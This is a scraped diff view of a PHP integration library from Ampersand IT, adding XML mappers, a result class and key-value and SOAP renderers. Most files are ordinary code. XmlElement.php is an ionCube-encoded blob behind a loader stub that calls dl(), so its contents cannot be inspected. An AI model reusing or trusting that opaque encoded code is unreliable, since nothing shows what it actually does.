9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Mapper_Sum extends Ampersand_Map_Mapper_Abstract
|
17 |
+
{
|
18 |
+
protected function _map(Ampersand_Map_XmlElement $map, $input)
|
19 |
+
{
|
20 |
+
$sum = 0;
|
21 |
+
|
22 |
+
foreach ($map->getChildren() as $_child) {
|
23 |
+
$sum += (double) $_child->getValue();
|
24 |
+
}
|
25 |
+
|
26 |
+
return $sum;
|
27 |
+
}
|
28 |
+
}
|
lib/Ampersand/Map/Mapper/Truncate.php
ADDED
@@ -0,0 +1,38 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Joseph McDermott <joseph.mcdermott@ampersandcommerce.com>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Mapper_Truncate extends Ampersand_Map_Mapper_Abstract
|
17 |
+
{
|
18 |
+
/**
|
19 |
+
* Truncate the output to a specified length, useful if some fields have a maximum length but
|
20 |
+
* the integration will not be effected if the value is not the complete string.
|
21 |
+
*
|
22 |
+
* @param Ampersand_Map_XmlElement $map
|
23 |
+
* @param string $input
|
24 |
+
* @return string
|
25 |
+
* @author Joseph McDermott <joseph.mcdermott@ampersandcommerce.com>
|
26 |
+
*/
|
27 |
+
protected function _map(Ampersand_Map_XmlElement $map, $input)
|
28 |
+
{
|
29 |
+
$length = (int)$map->getChild('_length');
|
30 |
+
$output = (string)$map->getChild('_param');
|
31 |
+
|
32 |
+
if ($length > 0 && strlen($output) > 0) {
|
33 |
+
$output = substr($output, 0, $length);
|
34 |
+
}
|
35 |
+
|
36 |
+
return $output;
|
37 |
+
}
|
38 |
+
}
|
lib/Ampersand/Map/Mapper/Xpath.php
ADDED
@@ -0,0 +1,51 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Mapper_Xpath extends Ampersand_Map_Mapper_Function
|
17 |
+
{
|
18 |
+
protected function _map(Ampersand_Map_XmlElement $map, $input)
|
19 |
+
{
|
20 |
+
$callback = array($input, 'xpath');
|
21 |
+
|
22 |
+
$this->_validateCallback($callback);
|
23 |
+
|
24 |
+
$xpath = $this->_getXpath($map);
|
25 |
+
|
26 |
+
return call_user_func($callback, $xpath);
|
27 |
+
}
|
28 |
+
|
29 |
+
protected function _validateMap(Ampersand_Map_XmlElement $map)
|
30 |
+
{
|
31 |
+
if ($map->hasChildren()) {
|
32 |
+
throw new Ampersand_Map_Exception('Mapper expects a leaf node');
|
33 |
+
}
|
34 |
+
|
35 |
+
return $this;
|
36 |
+
}
|
37 |
+
|
38 |
+
protected function _validateInput($input)
|
39 |
+
{
|
40 |
+
if (!is_object($input)) {
|
41 |
+
throw new Ampersand_Map_Exception('Input must be an object');
|
42 |
+
}
|
43 |
+
|
44 |
+
return $this;
|
45 |
+
}
|
46 |
+
|
47 |
+
protected function _getXpath(Ampersand_Map_XmlElement $map)
|
48 |
+
{
|
49 |
+
return $map->getValue();
|
50 |
+
}
|
51 |
+
}
|
lib/Ampersand/Map/Mapper/XpathSingle.php
ADDED
@@ -0,0 +1,28 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Mapper_XpathSingle extends Ampersand_Map_Mapper_Xpath
|
17 |
+
{
|
18 |
+
protected function _map(Ampersand_Map_XmlElement $map, $input)
|
19 |
+
{
|
20 |
+
$elements = parent::_map($map, $input);
|
21 |
+
|
22 |
+
if (!is_array($elements)) {
|
23 |
+
return null;
|
24 |
+
}
|
25 |
+
|
26 |
+
return reset($elements);
|
27 |
+
}
|
28 |
+
}
|
lib/Ampersand/Map/Result.php
ADDED
@@ -0,0 +1,83 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Map
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Map
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Map_Result extends Ampersand_Integration_Identifier_AggregatorAbstract
|
17 |
+
implements Ampersand_Integration_Identifier_AggregatorInterface
|
18 |
+
{
|
19 |
+
protected $_outputXmlObject;
|
20 |
+
protected $_output;
|
21 |
+
protected $_storedValues = array();
|
22 |
+
protected $_valuesToObfuscate = array();
|
23 |
+
|
24 |
+
public function addValueToObfuscate($value, $type)
|
25 |
+
{
|
26 |
+
if (!array_key_exists($type, $this->_valuesToObfuscate)) {
|
27 |
+
$this->_valuesToObfuscate[$type] = array();
|
28 |
+
}
|
29 |
+
|
30 |
+
$this->_valuesToObfuscate[$type][] = $value;
|
31 |
+
$this->_valuesToObfuscate[$type][] = urlencode($value);
|
32 |
+
|
33 |
+
return $this;
|
34 |
+
}
|
35 |
+
|
36 |
+
public function getValuesToObfuscate()
|
37 |
+
{
|
38 |
+
return $this->_valuesToObfuscate;
|
39 |
+
}
|
40 |
+
|
41 |
+
public function getStoredValue($name)
|
42 |
+
{
|
43 |
+
if (!array_key_exists($name, $this->_storedValues)) {
|
44 |
+
return null;
|
45 |
+
}
|
46 |
+
|
47 |
+
return $this->_storedValues[$name];
|
48 |
+
}
|
49 |
+
|
50 |
+
public function setStoredValue($name, $value)
|
51 |
+
{
|
52 |
+
$this->_storedValues[$name] = $value;
|
53 |
+
|
54 |
+
return $this;
|
55 |
+
}
|
56 |
+
|
57 |
+
public function setOutput($output)
|
58 |
+
{
|
59 |
+
$this->_output = $output;
|
60 |
+
$this->_outputXmlObject = null;
|
61 |
+
|
62 |
+
return $this;
|
63 |
+
}
|
64 |
+
|
65 |
+
public function getOutput()
|
66 |
+
{
|
67 |
+
return $this->_output;
|
68 |
+
}
|
69 |
+
|
70 |
+
public function getOutputXmlObject()
|
71 |
+
{
|
72 |
+
if (is_null($this->_outputXmlObject) && $this->getOutput()) {
|
73 |
+
$this->_outputXmlObject = $this->_getNewOutputInstance($this->getOutput());
|
74 |
+
}
|
75 |
+
|
76 |
+
return $this->_outputXmlObject;
|
77 |
+
}
|
78 |
+
|
79 |
+
protected function _getNewOutputInstance($source)
|
80 |
+
{
|
81 |
+
return Ampersand_Xml::factory($source);
|
82 |
+
}
|
83 |
+
}
|
lib/Ampersand/Map/XmlElement.php
ADDED
@@ -0,0 +1,352 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php //003ab
|
2 |
+
if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname(),0,3));$__ln='ioncube_loader_'.$__oc.'_'.substr(phpversion(),0,3).(($__oc=='win')?'.dll':'.so');@dl($__ln);if(function_exists('_il_exec')){return _il_exec();}$__ln='/ioncube/'.$__ln;$__oid=$__id=realpath(ini_get('extension_dir'));$__here=dirname(__FILE__);if(strlen($__id)>1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}@dl($__ln);}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo('Site error: the file <b>'.__FILE__.'</b> requires the ionCube PHP Loader '.basename($__ln).' to be installed by the site administrator.');exit(199);
|
3 |
+
?>
|
4 |
+
4+oV52eiqrIlVIYReY56TocVP9n1hRwF9ajHFUz49aynEDMRR+XNHDXdlx+aiJqlMh6X6Pc9uIv+
|
5 |
+
m6s7QjiOQp8qdPh9L0aKyRRb/J4qSZHQdd5zU98FqygYP8qjZJMKL4JX1p9ilILQAtgCNwpmLgbP
|
6 |
+
mBXcnUCaw2Z8mjXusB8MzD0vq+4+ys1WXdmoj4eY/7i64GyLBQ521kkloatclVKusnoq72rz7ase
|
7 |
+
s0Jf9ogvBApT9+o7cMpppKx/qPDAMEvch/DsZNdhtbVZVMF/+5QPlq/fRP6KCAQWYat/n+Lx6ZBo
|
8 |
+
aUHRlA9MWOaARJdctEJQty3KesJA4HZs6CR6M1LGpsh+3MwHgdTJc1TShNJd9E62Xb5uoFsF3Ca+
|
9 |
+
CToCHIcMjCj6KkHGOuVwaGDvURKciVd1f9rHmHA0qXPBh7lwjiAYMoDjs0lba43HCmpOjwX1pOFr
|
10 |
+
tPIhxZThBW1E7F4AxcL9UM/veYxRYQ8bopx2urICPQ5XIiErjTrv/QESJAuY8sUWBGwCP46rRoGz
|
11 |
+
aCvKVBsNr7AiFwCmK8KWiygYbldgBT7SDU+KU2f+P6XSYW2Ra8HVGTm6Z0LB0YJTzQmuqmUJTaoX
|
12 |
+
AIsqTqMKBVtlx/PGf4WvWdkXN3hGMdLs2jydkIF5I30/NFnsE/o3IIxuKyaL0uUuYYbldlzmDD2m
|
13 |
+
OYvqv8fNGeIdhZLr2kMAtsGg93q31r6O6s+zLKd6MzLTSYrYZ96IP4tu3qYB7KeHVKE6Q32pZTK8
|
14 |
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
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Render
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Render
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Render
|
17 |
+
{
|
18 |
+
public static function render($xml, $asArray = false)
|
19 |
+
{
|
20 |
+
if (!is_object($xml)) {
|
21 |
+
$render = Ampersand_Xml::factory($xml, false, 'Ampersand_Render_XmlElement');
|
22 |
+
} else {
|
23 |
+
$render = Ampersand_Xml::factory($xml->asXml(), false, 'Ampersand_Render_XmlElement');
|
24 |
+
}
|
25 |
+
|
26 |
+
$output = $render->render($asArray);
|
27 |
+
|
28 |
+
if ($asArray && is_array($output)) {
|
29 |
+
$output = reset($output);
|
30 |
+
}
|
31 |
+
|
32 |
+
return $output;
|
33 |
+
}
|
34 |
+
|
35 |
+
public static function renderArray($xml)
|
36 |
+
{
|
37 |
+
return self::render($xml, true);
|
38 |
+
}
|
39 |
+
}
|
lib/Ampersand/Render/Exception.php
ADDED
@@ -0,0 +1,19 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Render
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Render
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Render_Exception extends Ampersand_Exception
|
17 |
+
{
|
18 |
+
|
19 |
+
}
|
lib/Ampersand/Render/Renderer/Abstract.php
ADDED
@@ -0,0 +1,70 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Render
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Render
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
abstract class Ampersand_Render_Renderer_Abstract implements Ampersand_Render_Renderer_Interface
|
17 |
+
{
|
18 |
+
public function render(Ampersand_Render_XmlElement $xmlElement)
|
19 |
+
{
|
20 |
+
return $this->_render($xmlElement);
|
21 |
+
}
|
22 |
+
|
23 |
+
protected function _render(Ampersand_Render_XmlElement $xmlElement)
|
24 |
+
{
|
25 |
+
return $this;
|
26 |
+
}
|
27 |
+
|
28 |
+
protected function _childrenAsArray(Ampersand_Render_XmlElement $xmlElement)
|
29 |
+
{
|
30 |
+
return $this->_childrenAsPairs($xmlElement, true)->toArray();
|
31 |
+
}
|
32 |
+
|
33 |
+
protected function _childrenAsPairs(Ampersand_Render_XmlElement $xmlElement, $asArray = false)
|
34 |
+
{
|
35 |
+
$pairs = new Ampersand_Pairs();
|
36 |
+
foreach ($xmlElement->getChildren() as $_child) {
|
37 |
+
$pairs->addPair($this->_getPair($_child, $asArray));
|
38 |
+
}
|
39 |
+
|
40 |
+
return $pairs;
|
41 |
+
}
|
42 |
+
|
43 |
+
protected function _getPair(Ampersand_Render_XmlElement $xmlElement, $asArray = false)
|
44 |
+
{
|
45 |
+
$key = $xmlElement->getFieldName(true);
|
46 |
+
|
47 |
+
if ($xmlElement->hasCustomFieldValue()) {
|
48 |
+
$xmlElement = $xmlElement->getCustomFieldValueElement();
|
49 |
+
}
|
50 |
+
|
51 |
+
if ($asArray && $xmlElement->hasChildren()) {
|
52 |
+
$value = $this->_childrenAsArray($xmlElement);
|
53 |
+
} else {
|
54 |
+
$value = $xmlElement->getFieldValue();
|
55 |
+
}
|
56 |
+
|
57 |
+
return array($key, $value);
|
58 |
+
}
|
59 |
+
|
60 |
+
protected function _trimElementValue(Ampersand_Render_XmlElement $xmlElement)
|
61 |
+
{
|
62 |
+
if (!$xmlElement->hasAttribute('trim') || 'true' === $xmlElement->getAttribute('trim')) {
|
63 |
+
$xmlElement->trimValue();
|
64 |
+
}
|
65 |
+
|
66 |
+
$xmlElement->removeAttribute('trim');
|
67 |
+
|
68 |
+
return $this;
|
69 |
+
}
|
70 |
+
}
|
lib/Ampersand/Render/Renderer/Interface.php
ADDED
@@ -0,0 +1,23 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Render
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Render
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
interface Ampersand_Render_Renderer_Interface
|
17 |
+
{
|
18 |
+
/**
|
19 |
+
* @param Ampersand_Xml_Element $data
|
20 |
+
* @return mixed
|
21 |
+
*/
|
22 |
+
public function render(Ampersand_Render_XmlElement $data);
|
23 |
+
}
|
lib/Ampersand/Render/Renderer/KeyValue.php
ADDED
@@ -0,0 +1,40 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Render
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Render
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Render_Renderer_KeyValue extends Ampersand_Render_Renderer_Abstract
|
17 |
+
{
|
18 |
+
protected function _render(Ampersand_Render_XmlElement $xmlElement)
|
19 |
+
{
|
20 |
+
$pair = $this->_getPair($xmlElement);
|
21 |
+
|
22 |
+
$keyValue = $this->_renderKeyValue($pair[0], $pair[1]);
|
23 |
+
|
24 |
+
return $this->_filterKeyValue($keyValue, $xmlElement);
|
25 |
+
}
|
26 |
+
|
27 |
+
protected function _renderKeyValue($key, $value)
|
28 |
+
{
|
29 |
+
return "$key=$value";
|
30 |
+
}
|
31 |
+
|
32 |
+
protected function _filterKeyValue($keyValue, Ampersand_Render_XmlElement $xmlElement)
|
33 |
+
{
|
34 |
+
if ($replacement = $xmlElement->getAttribute('newline_replacement')) {
|
35 |
+
$keyValue = str_replace(array("\r\n", "\n", "\r"), $replacement, $keyValue);
|
36 |
+
}
|
37 |
+
|
38 |
+
return $keyValue;
|
39 |
+
}
|
40 |
+
}
|
lib/Ampersand/Render/Renderer/KeyValues.php
ADDED
@@ -0,0 +1,32 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Render
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Render
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Render_Renderer_KeyValues extends Ampersand_Render_Renderer_Abstract
|
17 |
+
{
|
18 |
+
protected function _render(Ampersand_Render_XmlElement $xmlElement)
|
19 |
+
{
|
20 |
+
$keyValues = array();
|
21 |
+
foreach ($this->_childrenAsPairs($xmlElement) as $_name => $_value) {
|
22 |
+
$keyValues[] = $this->_renderKeyValue($_name, $_value);
|
23 |
+
}
|
24 |
+
|
25 |
+
return implode(PHP_EOL, $keyValues);
|
26 |
+
}
|
27 |
+
|
28 |
+
protected function _renderKeyValue($name, $value)
|
29 |
+
{
|
30 |
+
return "$name=$value";
|
31 |
+
}
|
32 |
+
}
|
lib/Ampersand/Render/Renderer/Provider.php
ADDED
@@ -0,0 +1,26 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Render
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Render
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Render_Renderer_Provider extends Ampersand_ClassProvider
|
17 |
+
{
|
18 |
+
protected $_classes = array(
|
19 |
+
'csv' => 'Ampersand_Render_Renderer_Xsv',
|
20 |
+
'xsv' => 'Ampersand_Render_Renderer_Xsv',
|
21 |
+
'soap' => 'Ampersand_Render_Renderer_Soap',
|
22 |
+
'xml' => 'Ampersand_Render_Renderer_Xml',
|
23 |
+
'key_value' => 'Ampersand_Render_Renderer_KeyValue',
|
24 |
+
'key_values' => 'Ampersand_Render_Renderer_KeyValues',
|
25 |
+
);
|
26 |
+
}
|
lib/Ampersand/Render/Renderer/Soap.php
ADDED
@@ -0,0 +1,61 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Render
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Render
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Render_Renderer_Soap extends Ampersand_Render_Renderer_Abstract
|
17 |
+
{
|
18 |
+
protected function _render(Ampersand_Render_XmlElement $xmlElement)
|
19 |
+
{
|
20 |
+
$wsdl = $this->_getWsdlUri($xmlElement);
|
21 |
+
$method = $this->_getSoapMethod($xmlElement);
|
22 |
+
$arguments = $this->_childrenAsArray($xmlElement);
|
23 |
+
|
24 |
+
return $this->_buildXml($wsdl, $method, $arguments);
|
25 |
+
}
|
26 |
+
|
27 |
+
protected function _getWsdlUri(Ampersand_Render_XmlElement $xmlElement)
|
28 |
+
{
|
29 |
+
$elementName = '_wsdl';
|
30 |
+
|
31 |
+
if (!$xmlElement->hasChild($elementName)) {
|
32 |
+
throw new Ampersand_Render_Exception('No WSDL URI was specified');
|
33 |
+
}
|
34 |
+
|
35 |
+
$uri = $xmlElement->getChild($elementName)->getValue();
|
36 |
+
$xmlElement->removeChild($elementName);
|
37 |
+
|
38 |
+
return $uri;
|
39 |
+
}
|
40 |
+
|
41 |
+
protected function _getSoapMethod(Ampersand_Render_XmlElement $xmlElement)
|
42 |
+
{
|
43 |
+
$elementName = '_method';
|
44 |
+
|
45 |
+
if (!$xmlElement->hasChild($elementName)) {
|
46 |
+
throw new Ampersand_Render_Exception('No SOAP method was specified');
|
47 |
+
}
|
48 |
+
|
49 |
+
